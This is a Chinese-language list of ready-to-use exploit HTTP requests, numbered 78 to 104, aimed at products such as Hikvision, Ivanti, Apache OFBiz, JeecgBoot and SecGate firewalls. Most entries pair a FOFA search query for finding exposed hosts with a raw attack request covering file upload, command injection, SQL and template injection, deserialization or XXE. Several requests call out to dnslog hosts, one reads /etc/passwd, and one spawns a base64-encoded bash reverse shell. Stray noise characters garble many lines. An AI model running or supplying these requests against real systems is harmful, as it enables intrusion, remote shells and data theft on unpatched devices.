------------398jnjVTTlDVXHlE7yYnfwBoix
, g1 D2 m) y$ P2 AContent-Disposition: form-data; name="folder"
) q( b3 C0 N# G2 z
5 v7 E; Q7 t$ v3 a, R/upload/udplog
, H* e8 |1 B/ q8 m7 M9 v6 ~------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
0 _) [* Q: c  H5 E. d8 MContent-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
9 O8 ?1 p! ~  y$ J5 ?2 ^4 yContent-Disposition: form-data; name="Upload"
  n+ Q; n6 j; `2 n, g$ O
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


( s0 a0 x7 d, ^3 i$ \: j/ C, [0 `8 T78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
5 e- R4 g7 O0 ^5 g# w2 vFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( P, ]+ k  s2 T0 c4 ~, p7 o. l7 \( KConnection: close
Content-Length: 336
' k$ v2 y! B; |; x: o9 t' {Accept-Encoding: gzip
% d3 a+ f& d. G1 \' QContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
' u- A& g" f( u0 N3 K9 {8 E. k3 d
- K" Q' b1 e$ c0 _% S& S, G( H------YsOxWxSvj1KyZow1PTsh98fdu6l
1 b7 T$ L/ d. j; s1 t/ W. u3 pContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

* U- e. z  U# }YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


; c$ l! C% u6 S( EGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
- U. X5 t4 `# P' ?. C" P6 {1 ]6 }

79. BYTEVALUE 百为流控路由器远程命令执行
1 P- o: L! x4 m, j) H( `" P: Q- oFOFA：BYTEVALUE 智能流控路由器
9 }: n) Z, Z, f! ~4 \GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! p# K7 N. K1 q" U) oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 \2 X) T. t: T% u; K% \: c& JAccept-Encoding: gzip, deflate
1 j: z1 q: p/ Y6 [Connection: close
Upgrade-Insecure-Requests: 1

# h- ~" H! h; f# \
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
2 d5 e1 K1 n# tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
# E3 V3 j  k, O: Z- S4 f: [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
) W/ Q( W$ t+ J- ?) W" I; rContent-Type: application/octet-stream
4 M9 W+ Y  j* e1 {9 i( l1 IUpgrade-Insecure-Requests: 1

# E- `$ A5 _$ @: [5 r3 h<% out.print("oessqeonylzaf");%>
6 V- D% f0 d  P0 K! f9 b/ X- ]

' q) e% G! g6 YGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 ~3 B2 k& w$ k* _8 `Accept-Encoding: gzip

# a. Y; Y0 ?7 j9 w) W
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
$ L8 Z' |9 K; eHost: x.x.x.x
( Q6 C3 T) C& s, ]) f7 M$ j# j2 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

: p0 d+ g) w5 B( x# x
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
( B% P+ w, K8 s) J2 RPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
" c/ D6 R1 l$ U+ ]6 @6 [User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
+ F3 x- K' A- H+ p  V5 C' L+ c8 nReferer: BaseURL

3 X. V+ ?% m5 T9 Uz1=1&z2="|id;"&z3=bhost
/ T, j6 t' c8 I0 p

83. JeecgBoot testConnection 远程命令执行
& H# J) S5 D# ~6 FFOFA：title=="JeecgBoot 企业级低代码平台"
- W$ B, W' a* h- f6 z& ]  @0 N' v

POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
5 _* \7 [: A) G! W. k8 h+ [* JAccept-Encoding: gzip
, x  O7 ^! Q8 c" QCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
7 J9 n+ v, f& K, t* p, v  C8 L% n
PAYLOAD
  ?% u- l, M9 S* m. [+ w
: ?, C; F, c* M) E" d# ?84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

: v% Y4 Z! ?* m" Z, G$ F. F( K. }

2 f6 z4 _$ P$ h+ M3 YPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
: g4 |, l# I% s6 K/ c3 O4 lHost: 192.168.40.130:8080
, p. Y! a1 A6 I+ v/ N7 a" W! }User-Agent: curl/7.88.1
Content-Length: 156
. n1 G' J" {3 R- T. U& J  a3 I) OAccept: */*
9 |) U, T/ U- b2 q0 g( M- U$ Q' O! A4 IConnection: close
1 S" S: ^  A9 WContent-Type: application/json
Accept-Encoding: gzip

{
2 ]- n. \' o6 Z+ [7 c% {4 c/ D "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
5 u  w9 I! i7 p( g
, U- g; K5 s' }9 s: |' z
3 Y8 }7 L$ P& ]6 e# r; S) L85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
' w2 g6 l5 G7 D- {FOFA：body="sysaid-logo-dark-green.png"
* J. h4 z3 \2 pEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
3 G4 Q( |0 |: f3 N6 G: w: dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

$ s. ^$ D$ Q/ p3 Z2 pPAYLOAD

% h5 u$ c2 l! T2 m) |" w回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
8 G8 ^+ s( h, WFOFA：body="tosei_login_check.php"
3 K; i9 b0 M& U4 h8 w* CPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
# y5 Y' R- P! ~5 t6 L) X. RUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
  R! P3 O4 }: C& B1 RAccept: */*
Accept-Encoding: gzip
Accept-Language: en
4 Y0 d* ?+ J1 m) \/ R. KContent-Type: application/x-www-form-urlencoded
9 c( Q  s7 I  I0 i; X  t0 `+ Q
host=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
) }, U+ [' H- GFOFA：title="明御安全网关"
9 u) c& v/ W7 L8 w  ]POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
& a" \& s7 D- B0 `7 x* b! ]# CHost: X.X.X.X
8 B7 W% U: g; b) d& P; }" oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
3 x3 t2 ~2 {' AContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
: _/ z+ E, A7 u8 z6 d9 s$ B
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
1 ]& g5 m- {3 y  L& P+ D: {--qqobiandqgawlxodfiisporjwravxtvd--


7 W0 w7 b0 c% S/ F8 k0 o  P, m/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
; ?" M4 }, E9 ?* LFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
! x8 x; V* C. X5 E. S0 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( o* l6 I, D- U) K, x3 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 g5 f! v5 v* {0 HConnection: close


/astdfkhl.php
! w) v0 M% n" C2 F& e5 v
6 E# C+ Q$ J5 }# y89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
" e; R( @/ T6 k. z: D/ ?5 P4 x, D# sPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
: ~( A! b6 w* S0 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
+ k$ Z  j7 A! J" g4 d- I' mContent-Length: 41
0 Z) j3 o, R9 {. s0 o2 dContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+

: u/ z9 C: Z  y: D
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
( A( S- w$ Z+ N- h3 u. m" z5 W( |! GPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
8 i' m$ f$ n. ?* yAccept-Encoding: gzip, deflate
, o+ G: P, q% A  f2 D) P9 l6 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
- N+ F( k- `+ i8 R& V6 X& e0 R
: m0 i1 y8 X# S5 [0 Rjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
* `- v+ X3 M! K* S

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
% q) O4 W0 i' N9 a6 k* v* {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
0 q, W( f$ i1 |: g) }( lAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
, V, A3 `+ F9 j2 u+ U8 T
/ d! Z. D  d. P& f& K1 r( G, V% Z
- _7 W. V. [: Q& T1 ^
92. 海康威视运行管理中心session命令执行
Fastjson命令执行
) b% o! ]- I# }' A: `# Ihunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
$ ]3 V* ~& d7 [! ~POST /center/api/session HTTP/1.1
Host:
% S1 L7 {5 i) u' b. hAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
8 L9 b' q/ T7 l) M5 eX-Language-Type: zh_CN
Testcmd: echo test
: }6 m( p9 F- y; jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
4 E3 d5 g4 `$ ~1 P/ tAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD

2 \  m& @1 t! e7 _5 C: {- |1 P
9 {7 r/ b$ {* W/ q93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
5 c1 s' ^; R2 L! t8 f1 cFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
9 X8 _7 D  h7 b9 o7 ?; B( p; OHost: x.x.x.x
4 {6 _4 a' E# }. tContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
6 |( n, g2 @+ A2 OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" n9 r/ L( O9 F6 r/ {& j# S
. D) \4 B7 ]; g------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
  H: p* e3 O6 M. w
10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

9 x5 c/ K2 D! \8 R( \# pwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
9 S% m( @1 F! R- ]
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
, j4 I: r  ?( C6 a& j
0b9d6b1ab7479ab69d9f71b05e0e9445
3 |: D6 ^* I$ ^# y& t------WebKitFormBoundarykcbkgdfx--
$ e$ u# U$ u$ M' B  ~" j
& J+ ]4 `6 e" p  P' }8 U8 \
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
9 j3 y9 ^2 t3 B5 m7 aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

* T  H9 e+ _7 I8 s+ ]6 w1 n3 L
/ I0 I6 W; l) c94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
+ ?7 _! t% W. `, d1 dPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
, l6 m* S0 i$ G3 S0 F+ g! F- {Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

! r- C' X0 O. @4 Q" p3 C------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
2 b6 ]/ Z* m0 q7 wContent-Type: text/plain

9 Q. y& D( R. r; O( {$ `* xpxplitttsrjnyoafavcajwkvhxindhmu
5 c6 H$ p* c% {* ?------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
. O% ~- X) J& F- D
1 \- {8 P  U! b0 q9 M0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
6 |2 H4 U+ C: r" X; d$ i7 G% ?

" G* x6 |6 b$ c2 ~( b
3 j+ V* V/ r- K5 J) JGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* I/ f9 R* j( u( M6 X


" W3 k) l% P9 x  f, v95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
  K5 [* P) [* v) T6 PPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
3 Z% H+ B/ k5 j% X6 f" p+ tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ e, \- J4 E% rContent-Length: 889
8 }, y, B: \/ A: V, V5 bContent-Type: application/xml
Accept-Encoding: gzip

' P' ]8 H& V' E( h$ J<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
" [6 |  ?% E- v) U; F2 [      <param>
* L! H, K$ [; H8 v      <value>
        <struct>
       <member>
$ x" `! o' T( c& J# d          <name>test</name>
4 B1 h" U  K8 D6 Q, I2 B          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
* @3 Z! w8 d" i: P: z& r+ @    </param>
% Y# F% U- [4 `* I7 v) ~    </params>
</methodCall>


- Z+ G2 y' D7 K5 h  M3 c5 A用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
  l8 ?/ ^( A2 H( D/ m" A
/ Y; ]3 G5 V% Y# Q
" V9 U! u1 H+ ?# M' D1 ?4 W, G/ j将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
) T7 b4 `% O6 G4 C9 }; e; XConnection: close
Content-Length: 889
3 P' F9 ~. [0 I+ h3 ^2 y: YContent-Type: application/xml
Accept-Encoding: gzip
9 c2 K$ V( k" C- D" i
4 F) [4 j: @0 j, N9 A* r- KPAYLOAD

1 S) ?+ h' X- E! s96. Apache OFBiz  18.12.11 groovy 远程代码执行
, F0 |' z3 a$ ?" u, dFOFA：app="Apache_OFBiz"
* d' [  d2 I( ], j  Q2 S% sPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: \! Q0 q" D# f; f* JAccept: */*
( a! Q9 q+ d% K6 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

7 R' a" u. I7 n# j& @" |& igroovyProgram=throw+new+Exception('id'.execute().text);
1 R2 R! w- J4 y2 S
$ a# L( }* n3 ^, }2 W
反弹shell
在kali上启动一个监听
! m2 E. k" m8 q  Q& J7 V  Dnc -lvp 7777
7 ]0 \$ a9 t' r! \
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
9 x+ N' T! d6 s4 Q8 z3 b1 C5 ZHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

* Y. M" k6 W* [+ C' MgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

) f: m0 c7 S$ P5 _" Z97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
* @, `. t( k  FHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 C- f8 D3 i! x2 A) u# wAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
" h0 ^/ G# i% k, f  l% C8 k& HX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
% ^& W. X# b* F: X+ a% s

98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
) m& j$ D- {) wPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
5 N/ T. n+ {4 I. S% s1 b/ P* Z  ]6 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
" h$ u3 ?! d, G# [8 K1 u/ G. n- ?: eConnection: close
2 ?  `5 n! u( I* SContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
" j8 L" @3 u4 q% H# D# N* xX-Requested-With: XMLHttpRequest
! U% y' Y" Y0 @8 O: f5 G
  N, F+ ?$ u9 u0 ]id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
# Q& K0 F% K4 e2 P; u

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
" h/ M( `2 t; j$ n- bFOFA：app="Ncast-产品" && title=="高清智能录播系统"
: n' W2 r! n0 ~" LPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ V$ B8 s  A  u$ q( e6 z, BConnection: close
# u; c! f  m' R6 I) w% sContent-Length: 154
Accept: */*
( ]1 V: r' \. A" OAccept-Encoding: gzip, deflate
& n+ n+ I$ f0 Z  \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 \: S& R/ G5 y7 V6 \1 O( r) YContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
1 h8 g3 c: w: K
! u4 u7 P( V, m( d8 I
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
# s8 h& ]6 \# f( n8 A' Y+ yCVE-2024-0352
FOFA：icon_hash="874152924"
+ S: p6 i8 r, n* y- |POST /api/file/formimage HTTP/1.1
& P! o9 I4 T4 r' r$ \8 lHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
/ p7 O( b. t; }" k; x0 A5 f8 {5 @Accept-Encoding: gzip

7 Z: z, t7 m" @' {2 S4 \' l2 f' B2 ^------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
, |6 ^! I' i* @8 h3 F- r" O* CContent-Type: application/x-php

: }9 d" Q; e( m: E) c" F! u0 M- y# n2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

( r- O: g, i% S1 S$ ^) G  S
101. ivanti policy secure-22.6命令注入
0 r4 r4 t* `6 u" nCVE-2024-21887
8 f0 s! g' H  c1 A+ lFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
7 o2 T* U, g0 E/ E! `# i2 yUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( k5 W8 |. i* b1 z1 ~Connection: close
4 `0 ?( u/ u  P/ K: r+ EAccept-Encoding: gzip
! r2 r* |; r  ?; M9 D3 ]3 `6 O
- R" A! ]+ V' f; J* }
, U. ^, D, ]& q+ {102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
: R, Z8 P9 a; B1 e1 zPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
! F& r! D0 [7 m  ]9 C
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

9 H- f+ |% [  Q$ s2 a103. Ivanti Pulse Connect Secure VPN XXE
$ J7 J; f! D$ g, h, L+ \2 u8 yCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
# [4 C7 U" F3 y9 S: QPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
( l' p  J( `2 k8 v( WHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
" w- l. D' ^" _1 e8 }0 M: F$ qConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
1 m1 I3 Z+ B7 SAccept-Encoding: gzip
" Y$ C, j' F1 D6 H% d) _
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
* D# ?1 |+ M: q8 R

4 r& S: }. c, q# m其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
& e8 l; L( k4 Z

104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
% m  e, f9 C2 [4 a9 ACVE-2024-0569
FOFA：title="TOTOLINK"
+ s% e8 K+ {: d4 O) V. |. IPOST /cgi-bin/cstecgi.cgi HTTP/1.1
. h% |/ b4 E$ N$ C; B) {# uHost:192.168.0.1
# h: o$ R) c3 D4 @4 uContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
5 v) B3 e+ H( l' O" D4 F$ y* iX-Requested-with: XMLHttpRequest
